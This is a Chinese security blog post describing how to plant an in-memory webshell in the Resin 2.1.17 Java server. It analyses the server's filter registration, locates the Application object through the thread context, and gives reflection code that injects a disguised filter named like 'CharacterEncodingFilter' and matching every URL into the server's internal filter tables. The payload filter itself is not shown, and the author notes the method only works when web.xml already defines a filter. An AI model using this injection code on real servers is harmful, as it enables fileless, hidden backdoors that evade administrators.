Java安全之Resin2内存马
环境
resin2.1.17
添加Filter分析
依然是web.xml注册一个filter,debug进去看注册流程
debug dofilter逻辑时看到如下代码,最终走入this._filterChain = this._application.buildFilterChain(this, this._config);
去build filterchain。并且貌似是初始化的时候才会去buildfilterchain,当后面第二次再走时,这里的_filterchain
已经是有值的了。
this._application
应为上下文对象,继续往下跟通过QFilterConfig#createFilter
来创建了一个Filter,之后new 了一个FilterChain
注意下面三个对象,添加上即可
_filterMap
首先看FilterMap
构造,主要是Regexp,QFilterConfig
后面再说
可以反射实例化之后调用方法或者set属性来设置值
class FilterMap { static L10N L; private String servletName; private Regexp regexp; private Object data; FilterMap() { } void setServletName(String servletName) { this.servletName = servletName; } void setRegexp(String regexpPattern, String flags) throws Exception { this.regexp = new Regexp(regexpPattern, flags); } void setURLPattern(String urlPattern, String flags) throws ServletException { this.regexp = this.urlPatternToRegexp(urlPattern, flags); }
下面看Regexp ,其实就是一个正则来控制的路由处理
^.*$ ^(?=/)|^$
调用有参构造即可
_filters
hashtable对象,key为filtername,value为QFilterConfig对象,key可以随便伪造成个正常的
_filterList
直接add一个QFilterConfig元素即可
看到QConfigFilter,Registry为空就走if的逻辑,传入构造好的属性即可
package com.caucho.server.http; import com.caucho.util.BeanUtil; import com.caucho.util.CauchoSystem; import com.caucho.util.L10N; import com.caucho.util.RegistryNode; import java.util.Collections; import java.util.Enumeration; import java.util.HashMap; import java.util.Iterator; import javax.servlet.Filter; import javax.servlet.FilterConfig; import javax.servlet.ServletContext; import javax.servlet.ServletException; class QFilterConfig implements FilterConfig { static L10N L; private static HashMap _configElements; private Application _application; private RegistryNode _registry; private RegistryNode _initRegistry; private String _name; private String _className; private HashMap _init; private Filter _filter; QFilterConfig(Application application, String name, String defaultClassName, RegistryNode registry) throws ServletException { this._application = application; this._registry = registry; this._name = name; this._init = new HashMap(); if (registry == null) { if (defaultClassName == null) { this._className = name; } else { this._className = defaultClassName; } } else { this._className = registry.getString("filter-class", defaultClassName); Iterator iter = registry.iterator(); while(iter.hasNext()) { RegistryNode node = (RegistryNode)iter.next(); if (node.getName().equals("init-param")) { try { application.fillParam(node, this._init); } catch (ServletException var8) { throw var8; } catch (Exception var9) { throw new ServletException(var9); } } else if (node.getName().equals("init")) { this._initRegistry = node; } else if (_configElements.get(node.getName()) == null) { throw Application.error(node, L.l("unknown element `{0}' in {1}", node.getName(), registry.getName())); } } } }
后面就是用c0ny1师傅的java-object-searcher工具挖掘Application和Request在当前线程上下文的位置即可。
//设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象 List<Keyword> keys = new ArrayList(); keys.add(new Keyword.Builder().setField_type("Request").build()); keys.add(new Keyword.Builder().setField_type("Application").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys); //打开调试模式 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(20); //设置报告保存位置 searcher.setReport_save_path("/tmp/"); searcher.searchObject();
result
# Request TargetObject = {java.lang.Thread} ---> target = {com.caucho.server.TcpConnection} ---> request = {com.caucho.server.http.HttpRequest} # Application TargetObject = {java.lang.Thread} ---> contextClassLoader = {com.caucho.java.CompilingClassLoader} ---> attributes = {java.util.Hashtable} ---> attributes = {com.caucho.server.http.Application}
后面直接添加即可
主要代码
private static void doInject(){ filterName = "CharacterEncodingFilter-" + System.nanoTime(); try { if (APPLICATION !=null){ // Regexp // Class RegexpClazz = getClazz("com.caucho.regexp.Regexp"); // Constructor RegexpConstructor = RegexpClazz.getDeclaredConstructor(String.class); // Object regexpObj = RegexpConstructor.newInstance("^(?=/)|^$"); // QFilterConfig Class QFilterConfigclazz = getClazz("com.caucho.server.http.QFilterConfig"); Constructor QFilterConfigConstructor = QFilterConfigclazz.getDeclaredConstructor(getClazz("com.caucho.server.http.Application"), String.class, String.class, getClazz("com.caucho.util.RegistryNode")); QFilterConfigConstructor.setAccessible(true); Object QFilterConfigObj = QFilterConfigConstructor.newInstance(APPLICATION, filterName, "HiganbanaFilter", null); // FilterMap Class filterMapClazz = getClazz("com.caucho.server.http.FilterMap"); Constructor filterMapConstructor = filterMapClazz.getDeclaredConstructor(); filterMapConstructor.setAccessible(true); Object filterMap = filterMapConstructor.newInstance(); // set FilterMap regexp Method setRegexpMethod = filterMap.getClass().getDeclaredMethod("setURLPattern", String.class, String.class); setRegexpMethod.setAccessible(true); setRegexpMethod.invoke(filterMap,"/*", null); // set FilterMap data Method setDataMethod = filterMap.getClass().getDeclaredMethod("setData", Object.class); setDataMethod.setAccessible(true); setDataMethod.invoke(filterMap,QFilterConfigObj); // add FilterMap 2 _filterMap ArrayList _filterMap = (ArrayList) getFV(APPLICATION, "_filterMap"); _filterMap.add(filterMap); // add QFilterConfig 2 _filterList ArrayList _filterList = (ArrayList) getFV(APPLICATION, "_filterList"); _filterList.add(QFilterConfigObj); // put QFilterConfig 2 _filters Hashtable _filters = (Hashtable) getFV(APPLICATION, "_filters"); _filters.put(filterName, QFilterConfigObj); } } catch (Exception e) { } } private static void getApplication(){ Thread thread = Thread.currentThread(); ClassLoader contextClassLoader = thread.getContextClassLoader(); Hashtable attributesObj1 = (Hashtable) getFV(contextClassLoader,"attributes"); APPLICATION = attributesObj1.get("caucho.application"); }
但是有个弊端,debug逻辑的时候发现,只有在当前web.xml中已经存在有filter才能添加进去。暂未解决该问题。
最后
项目遇到的感觉比较有趣且极端的问题,虽然也不是很好的解决方案。